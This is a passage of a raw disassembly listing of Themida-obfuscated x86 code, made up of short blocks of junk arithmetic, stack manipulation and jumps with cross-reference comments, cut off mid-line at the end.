--------------------------------------------------------------------------- loc_596A2B: ; CODE XREF: Themida_:00590434j neg ebp sub ebp, 0B9F0F188h xor ecx, ebp jmp loc_5932F6 ; --------------------------------------------------------------------------- loc_596A3A: ; CODE XREF: Themida_:00594796j and al, cl mov cx, [esp] push 2D49h mov [esp], ebx jmp loc_59F957 ; --------------------------------------------------------------------------- loc_596A4D: ; CODE XREF: Themida_:0059DE1Cj inc edi not edi sub edi, 0ACC6A5FEh push ecx jmp loc_5A3C9D ; --------------------------------------------------------------------------- loc_596A5C: ; CODE XREF: Themida_:005A0468j dec edx sub edx, 0D7E6F905h sub ebx, edx push dword ptr [esp] pop edx add esp, 4 mov dx, [esp] jmp loc_59A631 ; --------------------------------------------------------------------------- loc_596A78: ; CODE XREF: Themida_:005A3F3Fj sub ebx, 32F2552Dh sub ebx, 19867055h sub ebx, 2AA4659Dh xor esi, ebx jmp loc_5A276B ; --------------------------------------------------------------------------- loc_596A91: ; CODE XREF: Themida_:00591BC8j add esp, 4 pop eax xor ebx, ebp mov ebp, [esp] add esp, 4 push 874h mov [esp], ebp push 1869h mov [esp], ebx pop ebp mov [edi+24h], ebp pop ebp push dword ptr [esp] jmp loc_595E8B ; --------------------------------------------------------------------------- loc_596ABD: ; CODE XREF: Themida_:005995BAj sub eax, edx pop edx xchg eax, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 jmp loc_5A131B ; --------------------------------------------------------------------------- loc_596AEB: ; CODE XREF: Themida_:0059C8A3j sub eax, edx push dword ptr [esp] pop edx push edx push esp jmp loc_59A716 ; --------------------------------------------------------------------------- loc_596AF8: ; CODE XREF: Themida_:005A1F42j add esp, 4 jmp loc_5A4CCE ; --------------------------------------------------------------------------- loc_596B03: ; CODE XREF: Themida_:005A448Cj pop esi jmp loc_59B7B0 ; --------------------------------------------------------------------------- loc_596B09: ; CODE XREF: Themida_:0059C8D1j push dword ptr [esp] jmp loc_59B718 ; --------------------------------------------------------------------------- mov ax, [esp] push 5519h mov [esp], edi push esp pop edi push edx mov edx, 4 add edi, edx pop edx push 1288h mov [esp], esi jmp loc_59D4CD ; --------------------------------------------------------------------------- loc_596B35: ; CODE XREF: Themida_:005958A7j mov al, 0B5h add bl, al pop ax pop edx add bl, 8Bh sub bl, al sub bl, 8Bh push 4EADh mov [esp], edx mov dl, 40h add bl, dl jmp loc_59A2CC ; --------------------------------------------------------------------------- loc_596B55: ; CODE XREF: Themida_:005A42F0j mov [esp], edi push 39F82DA1h mov edi, [esp] add esp, 4 and edi, 2E195628h jmp loc_5A4884 ; --------------------------------------------------------------------------- loc_596B6E: ; CODE XREF: Themida_:0059D325j mov eax, [esp] add esp, 4 pop edi shl ebx, 1 jmp loc_5A1676 ; --------------------------------------------------------------------------- loc_596B7C: ; CODE XREF: Themida_:005928C8j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop edx add esp, 4 push ebx mov ebx, 4 add edx, ebx mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 sub esp, 4 mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp push 4C04h mov [esp], ebp mov ebp, esp push eax jmp loc_59C8E4 ; --------------------------------------------------------------------------- loc_596BC6: ; CODE XREF: Themida_:0059B05Aj add esi, ecx sub esi, 3D481C33h jmp loc_5953C2 ; --------------------------------------------------------------------------- loc_596BD3: ; CODE XREF: Themida_:005A28FDj add esi, 508F5A55h jmp loc_59DAB0 ; --------------------------------------------------------------------------- loc_596BDE: ; CODE XREF: Themida_:0059CCC2j pop edx add edi, ebx pop ebx jmp loc_5A1919 ; --------------------------------------------------------------------------- loc_596BE7: ; CODE XREF: Themida_:00599196j push eax mov al, 94h not al add al, 5Fh xor al, 0F4h mov bl, al mov eax, [esp] add esp, 4 shl bl, 1 sub bl, 68h mov dl, bl pop ebx push ebx mov bl, 3Bh jmp loc_59DA4C ; --------------------------------------------------------------------------- loc_596C08: ; CODE XREF: Themida_:00593706j push ecx push 49C23535h pop ecx mov esi, ecx pop ecx or esi, 2EDB69BBh push eax jmp loc_59CE65 ; --------------------------------------------------------------------------- loc_596C1E: ; CODE XREF: Themida_:00593C98j pop esi jmp loc_5A1807 ; --------------------------------------------------------------------------- loc_596C24: ; CODE XREF: Themida_:0059A7B5j pop ecx or edx, 6E5D56E7h sub edx, 674347DCh xor edx, 600A78AAh xor ebx, edx pop edx push 0 sub [esp], ebx jmp loc_59D506 ; --------------------------------------------------------------------------- loc_596C47: ; CODE XREF: Themida_:0059F036j sub esp, 4 mov [esp], edi jmp loc_596FF4 ; --------------------------------------------------------------------------- loc_596C52: ; CODE XREF: Themida_:00596F0Aj add [esp+4], edx mov edx, [esp] push edi mov edi, esp jmp loc_59E29A ; --------------------------------------------------------------------------- loc_596C61: ; CODE XREF: Themida_:00597934j mov ebx, [esp] push 21F3h mov [esp], ebx mov ebx, esp jmp loc_596FA1 ; --------------------------------------------------------------------------- loc_596C73: ; CODE XREF: Themida_:0059EC3Cj push 3BF1h mov [esp], ebx push esp mov ebx, [esp] add esp, 4 push edx jmp loc_598B00 ; --------------------------------------------------------------------------- loc_596C88: ; CODE XREF: Themida_:00598D43j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_596730 ; --------------------------------------------------------------------------- loc_596C9F: ; CODE XREF: Themida_:00594BC6j pop ebp shr ebp, 1 jmp loc_595CBB ; --------------------------------------------------------------------------- loc_596CA7: ; CODE XREF: Themida_:005A2FD5j push ebx mov ebx, esp push eax jmp loc_59D96F ; --------------------------------------------------------------------------- loc_596CB0: ; CODE XREF: Themida_:0059ACF2j add esi, 8481BDCh mov ebx, 264D452Ah push esi push edi mov edi, 3DC455E1h dec edi jmp loc_599895 ; --------------------------------------------------------------------------- loc_596CC8: ; CODE XREF: Themida_:00599DC1j push ebx jmp loc_591B38 ; --------------------------------------------------------------------------- loc_596CCE: ; CODE XREF: Themida_:005A1D4Bj pop ecx add ecx, 4 jmp loc_5A362F ; --------------------------------------------------------------------------- loc_596CDA: ; CODE XREF: Themida_:005945C6j pop esp mov [esp], esp jmp loc_5A51A5 ; --------------------------------------------------------------------------- loc_596CE3: ; CODE XREF: Themida_:00598B64j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_596CE8: ; CODE XREF: Themida_:005A3430j mov ebp, ecx mov ecx, [esp] add esp, 4 or [edi+1Ch], ebp mov ebp, [esp] push ecx jmp loc_5961B8 ; --------------------------------------------------------------------------- loc_596CFC: ; CODE XREF: Themida_:0059B12Cj add ebp, 400613Bh sub ebp, 1B688761h jmp loc_5A42C8 ; --------------------------------------------------------------------------- loc_596D0D: ; CODE XREF: Themida_:005A0AA0j pop esi sub edx, 4 jmp loc_592D01 ; --------------------------------------------------------------------------- loc_596D19: ; CODE XREF: Themida_:00591947j add edi, eax pop eax add edi, 93B5D9Fh xor edi, 97B0E4D1h add ebp, edi mov edi, [esp] jmp loc_59E9AE ; --------------------------------------------------------------------------- loc_596D32: ; CODE XREF: Themida_:00590CA2j push dword ptr [esp] pop eax push 2584h mov [esp], ebp push esp pop ebp push ebx mov ebx, 4EAB1E6Ch sub esp, 4 mov [esp], edi push edx mov edx, 66AA51ACh mov edi, edx jmp loc_59FF88 ; --------------------------------------------------------------------------- loc_596D59: ; CODE XREF: Themida_:0059E15Fj add edx, 4 push ebx mov ebx, 4 add edx, 536A031Ch sub edx, ebx jmp loc_5A1972 ; --------------------------------------------------------------------------- loc_596D72: ; CODE XREF: Themida_:0059A511j mov ebp, 3A43339h add eax, ebp pop ebp add eax, edx push ecx mov ecx, 3A43339h sub eax, ecx pop ecx pop edx push ecx mov ecx, 66743D9Eh and ecx, 5C4D33BAh jmp loc_59D5A3 ; --------------------------------------------------------------------------- loc_596D97: ; CODE XREF: Themida_:00591AA8j xor ecx, 25032EFEh jmp loc_59D7A2 ; --------------------------------------------------------------------------- loc_596DA2: ; CODE XREF: Themida_:0059DCB4j push edx mov edx, 69C071D7h shl edx, 1 jmp loc_595B54 ; --------------------------------------------------------------------------- loc_596DAF: ; CODE XREF: Themida_:0059F92Dj xor [esp], ebp xor ebp, [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_5996BA ; --------------------------------------------------------------------------- loc_596DC3: ; CODE XREF: Themida_:005998F9j pop ebx push ebp jmp loc_59AFBC ; --------------------------------------------------------------------------- loc_596DCA: ; CODE XREF: Themida_:005956A3j mov [esp], ebp mov ebp, 37B43932h push 447h mov [esp], edx mov edx, 28F817D5h add ebx, edx pop edx sub ebx, ebp sub ebx, 28F817D5h jmp loc_595E39 ; --------------------------------------------------------------------------- loc_596DEF: ; CODE XREF: Themida_:005944C1j add edi, ebx push dword ptr [esp] pop ebx add esp, 4 push ebp sub esp, 4 mov [esp], ecx jmp loc_59BC42 ; --------------------------------------------------------------------------- loc_596E07: ; CODE XREF: Themida_:00597BC7j dec ebp xor ebp, 36B124BBh jmp loc_5920D1 ; --------------------------------------------------------------------------- loc_596E13: ; CODE XREF: Themida_:0059E4BDj add esi, 10C420ABh dec esi xor esi, 77BCC7A6h add edx, esi pop esi jmp loc_5996BF ; --------------------------------------------------------------------------- loc_596E28: ; CODE XREF: Themida_:0059B5ADj xor esi, 41C2C82Dh jmp loc_59F512 ; --------------------------------------------------------------------------- loc_596E33: ; CODE XREF: Themida_:0059F81Fj mov ebx, 4 sub eax, ebx pop ebx push eax push dword ptr [esp+4] pop eax jmp loc_59C2D6 ; --------------------------------------------------------------------------- loc_596E46: ; CODE XREF: Themida_:00596884j add esi, ebx push edi jmp loc_595B19 ; --------------------------------------------------------------------------- loc_596E4E: ; CODE XREF: Themida_:00590E40j pop edi sub ecx, 2135950h sub ecx, 6F5539EDh add ecx, ebp add ecx, 6F5539EDh jmp loc_59EB46 ; --------------------------------------------------------------------------- loc_596E68: ; CODE XREF: Themida_:005911ADj sub ecx, edx add ecx, 5D6355E5h mov edx, [esp] jmp loc_5A28C7 ; --------------------------------------------------------------------------- loc_596E78: ; CODE XREF: Themida_:005A5139j mov ecx, esp jmp loc_598531 ; --------------------------------------------------------------------------- loc_596E7F: ; CODE XREF: Themida_:0059412Aj pop ebx sub esp, 4 jmp loc_5A0491 ; --------------------------------------------------------------------------- loc_596E8B: ; CODE XREF: Themida_:005A0C15j sub esp, 4 mov [esp], ebp mov ebp, 1095690h jmp loc_59D0A4 ; --------------------------------------------------------------------------- loc_596E9E: ; CODE XREF: Themida_:00593525j push 4FC7h jmp loc_59A5A8 ; --------------------------------------------------------------------------- loc_596EA8: ; CODE XREF: Themida_:00594F70j xchg ebx, [esp] pop esp sub edi, 4FDD2562h not edi add edi, 1 jmp loc_5975CA ; --------------------------------------------------------------------------- loc_596EBC: ; CODE XREF: Themida_:0059DE37j xchg edx, [esp] jmp loc_591D18 ; --------------------------------------------------------------------------- loc_596EC4: ; CODE XREF: Themida_:00590EAFj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5A02DA ; --------------------------------------------------------------------------- loc_596EDB: ; CODE XREF: Themida_:0059D7F6j push ecx mov ecx, 143B2B7Fh neg ecx shr ecx, 4 xor ecx, 6F2D75E4h jmp loc_59F8DB ; --------------------------------------------------------------------------- loc_596EF1: ; CODE XREF: Themida_:0059486Aj shr edi, 3 add edi, 56FD63F2h not edi not edi push ecx jmp loc_594B00 ; --------------------------------------------------------------------------- loc_596F04: ; CODE XREF: Themida_:0059BBC0j push edx mov edx, 4 jmp loc_596C52 ; --------------------------------------------------------------------------- loc_596F0F: ; CODE XREF: Themida_:0059CC47j add esp, 4 push 647Dh jmp loc_5A1AD1 ; --------------------------------------------------------------------------- loc_596F1C: ; CODE XREF: Themida_:00592F96j add esp, 4 jmp loc_59346C ; --------------------------------------------------------------------------- loc_596F27: ; CODE XREF: Themida_:0059E28Aj add esi, edx jmp loc_5A5522 ; --------------------------------------------------------------------------- loc_596F2E: ; CODE XREF: Themida_:005A12F6j add edx, 2 xor edx, [esp] xor [esp], edx jmp loc_59D842 ; --------------------------------------------------------------------------- loc_596F3C: ; CODE XREF: Themida_:0059D198j pop dword ptr [esp] jmp loc_5A46AE ; --------------------------------------------------------------------------- loc_596F44: ; CODE XREF: Themida_:0059CEF1j add esp, 4 add eax, edx pop edx push 1793h mov [esp], ecx push edi push 153C630Bh mov edi, [esp] jmp loc_5960FB ; --------------------------------------------------------------------------- loc_596F60: ; CODE XREF: Themida_:005A08BFj not edx sub edx, 640E8970h jmp loc_599CF4 ; --------------------------------------------------------------------------- loc_596F6D: ; CODE XREF: Themida_:0059E793j push ebp jmp loc_596252 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax push 3229h jmp loc_59EE80 ; --------------------------------------------------------------------------- loc_596F87: ; CODE XREF: Themida_:00597D03j sub esi, 0BB6068EBh sub eax, esi pop esi xchg eax, [esp] pop esp mov [esp], ecx push ebx mov bl, al push eax push ecx jmp loc_5A46CB ; --------------------------------------------------------------------------- loc_596FA1: ; CODE XREF: Themida_:00596C6Ej add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor bl, al movzx eax, al pop dword ptr [edi+eax*4] jmp loc_5A156F ; --------------------------------------------------------------------------- loc_596FBB: ; CODE XREF: Themida_:00593B0Dj add esp, 4 jmp loc_59FA46 ; --------------------------------------------------------------------------- loc_596FC3: ; CODE XREF: Themida_:0059411Fj pop dword ptr [esp] push edx mov edx, 4 push eax mov eax, esp push ebx mov ebx, 4 jmp loc_59FAD8 ; --------------------------------------------------------------------------- loc_596FDA: ; CODE XREF: Themida_:005A3439j xchg dl, cl jmp loc_59D9B1 ; --------------------------------------------------------------------------- loc_596FE1: ; CODE XREF: Themida_:0059CCFAj and ecx, 729C276Fh add ecx, 5624E3B5h sub edi, ecx jmp loc_5A33E9 ; --------------------------------------------------------------------------- loc_596FF4: ; CODE XREF: Themida_:00596C4Dj push eax push 3024h mov [esp], ecx mov ecx, 3A115C63h push esi mov esi, 52CC40E5h neg esi not esi dec esi neg esi jmp loc_59061E ; --------------------------------------------------------------------------- loc_597014: ; CODE XREF: Themida_:005916E0j add ebx, edx pop edx xchg ebx, [esp] pop esp jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_597020: ; CODE XREF: Themida_:00597EBCj push edi mov edi, 652A2CA8h mov esi, edi pop edi push ebx jmp loc_591C00 ; --------------------------------------------------------------------------- loc_59702F: ; CODE XREF: Themida_:00592717j sub eax, 5E475687h pop edi add eax, 2 jmp loc_591BE9 ; --------------------------------------------------------------------------- loc_59703D: ; CODE XREF: Themida_:005A04CDj mov esi, 6CD72C62h push ebx jmp loc_5A3F55 ; --------------------------------------------------------------------------- loc_597048: ; CODE XREF: Themida_:005959E8j mov [esp], esp push 208Eh mov [esp], edx mov edx, 12C92EFAh sub edx, 2906578Ch shr edx, 1 neg edx add edx, 74E16BBBh add [esp+4], edx pop edx pop edi add edi, 4 add edi, 4 jmp loc_59483A ; --------------------------------------------------------------------------- loc_59707C: ; CODE XREF: Themida_:0059B429j sub esp, 4 mov [esp], ecx push ebp mov ebp, 0A397F2Ah mov ecx, 1C91B365h sub ecx, ebp pop ebp add eax, ecx pop ecx push 5FD4h mov [esp], ebp push esi jmp loc_59F7D9 ; --------------------------------------------------------------------------- loc_5970A4: ; CODE XREF: Themida_:005A4C44j mov ecx, 2 jmp loc_594293 ; --------------------------------------------------------------------------- loc_5970AE: ; CODE XREF: Themida_:0059E0DFj not edi neg edi xor edi, 0D11601A1h jmp loc_5A2269 ; --------------------------------------------------------------------------- loc_5970BD: ; CODE XREF: Themida_:00590AB7j mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 jmp loc_5A1BDC ; --------------------------------------------------------------------------- loc_5970CF: ; CODE XREF: Themida_:0059DCC0j push esp jmp loc_5A4DA5 ; --------------------------------------------------------------------------- loc_5970D5: ; CODE XREF: Themida_:005974FEj sub ebx, 0BA68D0E6h mov ecx, ebx pop ebx push eax mov eax, 25156F94h sub eax, 1CFF204Ah add ecx, eax pop eax add ecx, 0BD66EA57h sub ebx, 37DC00B0h jmp loc_598C94 ; --------------------------------------------------------------------------- loc_5970FD: ; CODE XREF: Themida_:00593E08j pop ecx jmp loc_5A311B ; --------------------------------------------------------------------------- loc_597103: ; CODE XREF: Themida_:0059ACFCj and ecx, ebx pop ebx jmp loc_5A079A ; --------------------------------------------------------------------------- loc_59710B: ; CODE XREF: Themida_:0059350Cj pop eax push ebx push eax push edx mov edx, 32C9171Fh inc edx add edx, 1ACA7961h jmp loc_5A2C81 ; --------------------------------------------------------------------------- loc_597120: ; CODE XREF: Themida_:005A4B88j push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] add esi, 4 push ebp mov ebp, 2 sub esi, 369B7936h add esi, ebp add esi, 369B7936h pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5998FE ; --------------------------------------------------------------------------- loc_597154: ; CODE XREF: Themida_:0059FDC1j mov [esp], edx mov edx, 6B7347DBh push esi mov esi, 0CCC3DA2h not esi push edx mov edx, 0CD8D56B4h sub esi, edx jmp loc_5A0A81 ; --------------------------------------------------------------------------- loc_597171: ; CODE XREF: Themida_:00591891j pop esi mov ebx, [esp] add esp, 4 xor esi, eax mov eax, [esp] add esp, 4 push esi mov edi, [esp] add esp, 4 mov esi, [esp] jmp loc_5965BF ; --------------------------------------------------------------------------- loc_597192: ; CODE XREF: Themida_:005A2C2Bj mov ecx, 4E256C38h sub edx, ecx pop ecx add edx, ebp add edx, 4E256C38h pop ebp xor edx, [esp] jmp loc_5A0489 ; --------------------------------------------------------------------------- loc_5971AB: ; CODE XREF: Themida_:005A1B64j pop eax xor dl, 35h jmp loc_597581 ; --------------------------------------------------------------------------- loc_5971B4: ; CODE XREF: Themida_:005A1004j mov edx, edi pop edi jmp loc_5A3895 ; --------------------------------------------------------------------------- loc_5971BC: ; CODE XREF: Themida_:00590B82j not eax sub eax, 26834A0Eh shl eax, 4 xor eax, 641F5602h mov ebx, eax pop eax add eax, ebx pop ebx push edx push ecx jmp loc_5977BF ; --------------------------------------------------------------------------- loc_5971D8: ; CODE XREF: Themida_:0059E316j push 0 sub [esp], ebx pop ebx jmp loc_598EE3 ; --------------------------------------------------------------------------- loc_5971E6: ; CODE XREF: Themida_:005A12D0j pop dword ptr [esp] pop esp jmp loc_597D39 ; --------------------------------------------------------------------------- loc_5971EF: ; CODE XREF: Themida_:0059AA36j shl ecx, 1 sub ecx, 3337612Eh or esi, ecx pop ecx shr esi, 2 dec esi push ecx push eax push edx push 63C278F0h jmp loc_59CD82 ; --------------------------------------------------------------------------- loc_59720B: ; CODE XREF: Themida_:005A2B91j pop esp mov [esp], bx push edx mov dx, 0ADA3h push edi jmp loc_59CCC7 ; --------------------------------------------------------------------------- loc_59721B: ; CODE XREF: Themida_:005A1539j neg dl neg dl jmp loc_593044 ; --------------------------------------------------------------------------- loc_597224: ; CODE XREF: Themida_:00594F68j push 75A2h mov [esp], ebx push esi jmp loc_5A2841 ; --------------------------------------------------------------------------- loc_597232: ; CODE XREF: Themida_:0059C8ABj add esp, 4 xchg esi, [esp] pop esp push dword ptr [esp] pop ecx add esp, 4 sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_591968 ; --------------------------------------------------------------------------- loc_597253: ; CODE XREF: Themida_:005A3CA6j mov ebx, [esp] jmp loc_5A513E ; --------------------------------------------------------------------------- loc_59725B: ; CODE XREF: Themida_:0059F5A9j pop esp xor eax, esi push dword ptr [esp] push dword ptr [esp] jmp loc_591D1E ; --------------------------------------------------------------------------- loc_597269: ; CODE XREF: Themida_:0059953Ej mov ecx, [ebx] pop ebx sub esp, 4 jmp loc_59A3D0 ; --------------------------------------------------------------------------- loc_597277: ; CODE XREF: Themida_:005A0A34j mov ecx, [esp] jmp loc_59DF96 ; --------------------------------------------------------------------------- loc_59727F: ; CODE XREF: Themida_:00592D0Fj push ecx pop edx pop ecx add edx, 7A7D3C90h not edx not edx add edx, 782FE396h sub esi, edx pop edx add esi, 63C03F27h add esi, eax push eax push ebp jmp loc_59614F ; --------------------------------------------------------------------------- loc_5972A4: ; CODE XREF: Themida_:0059C488j mov eax, ebx mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_5A0C1A ; --------------------------------------------------------------------------- loc_5972B7: ; CODE XREF: Themida_:005A3994j push 6981h mov [esp], edi push ebp mov ebp, 0F9DACE9Eh jmp loc_590789 ; --------------------------------------------------------------------------- loc_5972CA: ; CODE XREF: Themida_:0059C1D2j push edx push eax mov eax, 50473A0Fh xor [esp+4], eax pop eax jmp loc_5A3CAB ; --------------------------------------------------------------------------- loc_5972DB: ; CODE XREF: Themida_:005A4A06j pop dword ptr [esp] push ebx jmp loc_596A02 ; --------------------------------------------------------------------------- loc_5972E4: ; CODE XREF: Themida_:005A1FA5j add eax, 4 xchg eax, [esp] jmp loc_5944CE ; --------------------------------------------------------------------------- loc_5972EF: ; CODE XREF: Themida_:0059B2DCj pop esp mov [esp], ecx push ebx jmp loc_5A318A ; --------------------------------------------------------------------------- loc_5972F9: ; CODE XREF: Themida_:005913E5j div cx push 4223h mov [esp], ebx mov ebx, esp add ebx, 4 push edx jmp loc_59304F ; --------------------------------------------------------------------------- loc_597312: ; CODE XREF: Themida_:0059B7F5j pop esp jmp loc_594F52 ; --------------------------------------------------------------------------- loc_597318: ; CODE XREF: Themida_:0059A27Aj mov ebx, 797D4BC8h jmp loc_59508A ; --------------------------------------------------------------------------- loc_597322: ; CODE XREF: Themida_:005A460Bj mov eax, [esp] add esp, 4 jmp loc_598471 ; --------------------------------------------------------------------------- loc_59732D: ; CODE XREF: Themida_:00592D2Ej add edx, ebp pop ebp jmp loc_590ADF ; --------------------------------------------------------------------------- loc_597335: ; CODE XREF: Themida_:005960CCj pop ebp jmp loc_5A1927 ; --------------------------------------------------------------------------- loc_59733B: ; CODE XREF: Themida_:005A4FADj pop eax add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_5A418C ; --------------------------------------------------------------------------- loc_59734E: ; CODE XREF: Themida_:0059DB41j mov ebp, 176755C0h mov edx, ebp jmp loc_595EDF ; --------------------------------------------------------------------------- loc_59735A: ; CODE XREF: Themida_:005902CEj mov al, 1Bh jmp loc_590B50 ; --------------------------------------------------------------------------- loc_597361: ; CODE XREF: Themida_:0059641Fj dec edi xchg ecx, edi not ecx push edi push ecx pop edi pop ecx inc edi jmp loc_59BF7A ; --------------------------------------------------------------------------- loc_597370: ; CODE XREF: Themida_:00597D9Aj and edx, 71B37B55h add edx, 1 push esi jmp loc_5916F0 ; --------------------------------------------------------------------------- loc_597382: ; CODE XREF: Themida_:0059D41Fj mov [esp], ebp push esp pop ebp push ebx jmp loc_5A322E ; --------------------------------------------------------------------------- mov ax, [esp] push ebp jmp loc_59943E ; --------------------------------------------------------------------------- mov eax, [esp] jmp loc_593C38 ; --------------------------------------------------------------------------- loc_59739F: ; CODE XREF: Themida_:0059182Aj push dword ptr [esp] mov eax, [esp] add esp, 4 push 1F8Bh mov [esp], edi mov edi, esp jmp loc_59B29F ; --------------------------------------------------------------------------- loc_5973B7: ; CODE XREF: Themida_:0059E84Cj mov edx, 56E4363Fh not edx dec edx not edx add edx, 0C4870807h xor ecx, edx pop edx xor ecx, 19757758h mov ebp, ecx jmp loc_5A5461 ; --------------------------------------------------------------------------- loc_5973D7: ; CODE XREF: Themida_:0059672Bj push ebx mov ebx, esp add ebx, 4 jmp loc_5A433C ; --------------------------------------------------------------------------- loc_5973E5: ; CODE XREF: Themida_:00597DA7j sub ebp, 4423534Bh add ebp, edx add ebp, 4423534Bh push dword ptr [esp] pop edx add esp, 4 jmp loc_593109 ; --------------------------------------------------------------------------- loc_597402: ; CODE XREF: Themida_:005949C5j add esp, 4 jmp loc_590439 ; --------------------------------------------------------------------------- loc_59740A: ; CODE XREF: Themida_:005A12C8j mov ecx, [esp] add esp, 4 pop esi push esi jmp loc_59AFA8 ; --------------------------------------------------------------------------- loc_59741A: ; CODE XREF: Themida_:0059FAD3j mov eax, [esp] add esp, 4 jmp loc_594546 ; --------------------------------------------------------------------------- loc_597425: ; CODE XREF: Themida_:0059B545j sub ebx, 3AD48C19h sub ebx, 1 sub esp, 4 mov [esp], esi jmp loc_596549 ; --------------------------------------------------------------------------- loc_597439: ; CODE XREF: Themida_:00595F1Fj add esp, 4 jmp loc_5997B1 ; --------------------------------------------------------------------------- loc_597441: ; CODE XREF: Themida_:005A4C61j inc ebx jmp loc_59FF19 ; --------------------------------------------------------------------------- loc_597447: ; CODE XREF: Themida_:005A5346j pop eax push ebx jmp loc_5A4C18 ; --------------------------------------------------------------------------- loc_59744E: ; CODE XREF: Themida_:005A39CDj pop ebx add ebx, 66982126h pop edi pop ebp jmp loc_594719 ; --------------------------------------------------------------------------- loc_59745C: ; CODE XREF: Themida_:005A50A4j xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_59B648 ; --------------------------------------------------------------------------- loc_59746D: ; CODE XREF: Themida_:005A1C1Fj pop edi xor [esp+4], ebp push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] pop eax add esp, 4 xor eax, 42F654Ah sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], esi mov esi, 690814AEh shr esi, 1 push ebp mov ebp, 2874203Eh add ebp, 2B71059Dh and esi, ebp pop ebp push edi mov edi, 7A2517F6h jmp loc_5968F6 ; --------------------------------------------------------------------------- loc_5974B5: ; CODE XREF: Themida_:0059BC2Bj push ebp mov ebp, 68271C52h jmp loc_59C9F2 ; --------------------------------------------------------------------------- loc_5974C0: ; CODE XREF: Themida_:00599A34j sub ebx, eax add ebx, 34011EC1h pop eax or eax, ebx pop ebx neg eax jmp loc_5A2227 ; --------------------------------------------------------------------------- loc_5974D3: ; CODE XREF: Themida_:005A2180j pop eax push eax jmp loc_5A462D ; --------------------------------------------------------------------------- loc_5974DA: ; CODE XREF: Themida_:0059A730j add edx, edi push dword ptr [esp] pop edi add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push ecx mov ecx, 6FB87EC2h jmp loc_597784 ; --------------------------------------------------------------------------- loc_5974FB: ; CODE XREF: Themida_:005903F8j and ebx, edi pop edi jmp loc_5970D5 ; --------------------------------------------------------------------------- loc_597503: ; CODE XREF: Themida_:00592336j push 1E87h mov [esp], ebx jmp loc_5A372F ; --------------------------------------------------------------------------- loc_597510: ; CODE XREF: Themida_:00599E1Aj mov ecx, [esp] add esp, 4 and dl, 89h not dl dec dl push ebx mov bh, 0E2h dec bh sub bh, 4Fh shr bh, 1 add bh, 86h or bh, 1Eh xor bh, 0B5h jmp loc_594B3C ; --------------------------------------------------------------------------- loc_597535: ; CODE XREF: Themida_:00593B89j pop esi add ebp, edx jmp loc_598F7B ; --------------------------------------------------------------------------- loc_59753D: ; CODE XREF: Themida_:005A34A4j pop esp mov [esp], ebp mov ebp, 46AB66A2h push 5FA5h jmp loc_59CB72 ; --------------------------------------------------------------------------- loc_597550: ; CODE XREF: Themida_:0059CDB9j push ebx push ecx jmp loc_59271C ; --------------------------------------------------------------------------- loc_597557: ; CODE XREF: Themida_:0059B9EBj sub bl, cl jmp loc_59BFB2 ; --------------------------------------------------------------------------- loc_59755E: ; CODE XREF: Themida_:005922A1j xchg eax, [esp] pop esp mov [esp], esi jmp loc_594532 ; --------------------------------------------------------------------------- loc_59756A: ; CODE XREF: Themida_:00590AEBj mov esp, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_59F043 ; --------------------------------------------------------------------------- loc_597581: ; CODE XREF: Themida_:005971AFj add al, 0ABh add al, dl push 59CDh mov [esp], ecx mov ch, 0AFh shl ch, 1 shr ch, 8 push eax mov ah, 3Fh or ah, 3Fh xor ah, 0DEh sub ch, ah jmp loc_59ADAA ; --------------------------------------------------------------------------- loc_5975A4: ; CODE XREF: Themida_:0059C6D8j push eax jmp loc_5A5659 ; --------------------------------------------------------------------------- loc_5975AA: ; CODE XREF: Themida_:0059CA2Ej pop eax push edx mov edx, esp add edx, 4 push ecx jmp loc_5A1501 ; --------------------------------------------------------------------------- loc_5975BA: ; CODE XREF: Themida_:0059E7EBj sub [esp+4], dx pop dx mov si, [esp] jmp loc_5980B7 ; --------------------------------------------------------------------------- loc_5975CA: ; CODE XREF: Themida_:00596EB7j not edi sub edi, 0ED80F324h sub ebp, 14ED08B6h sub ebp, edi jmp loc_59556E ; --------------------------------------------------------------------------- loc_5975DF: ; CODE XREF: Themida_:0059FED0j or bh, dl mov edx, [esp] push ecx mov ecx, esp push ebx mov ebx, 7CBC7FF3h add ebx, 83438011h add ecx, ebx mov ebx, [esp] add esp, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_5A4DE0 ; --------------------------------------------------------------------------- loc_59760C: ; CODE XREF: Themida_:0059AED3j add eax, ebp push edi mov edi, 485E6808h sub eax, edi jmp loc_5955F4 ; --------------------------------------------------------------------------- loc_59761B: ; CODE XREF: Themida_:0059A13Bj mov bh, 72h sub bh, al pop eax xor cl, bh mov ebx, [esp] add esp, 4 jmp loc_593814 ; --------------------------------------------------------------------------- loc_597630: ; CODE XREF: Themida_:0059FF89j push edx mov edx, 4E561DF0h xor edi, edx jmp loc_59D02B ; --------------------------------------------------------------------------- loc_59763D: ; CODE XREF: Themida_:005930A6j push eax push 0BFCh jmp loc_592343 ; --------------------------------------------------------------------------- loc_597648: ; CODE XREF: Themida_:0059138Aj mov ebx, esp jmp loc_59779F ; --------------------------------------------------------------------------- loc_59764F: ; CODE XREF: 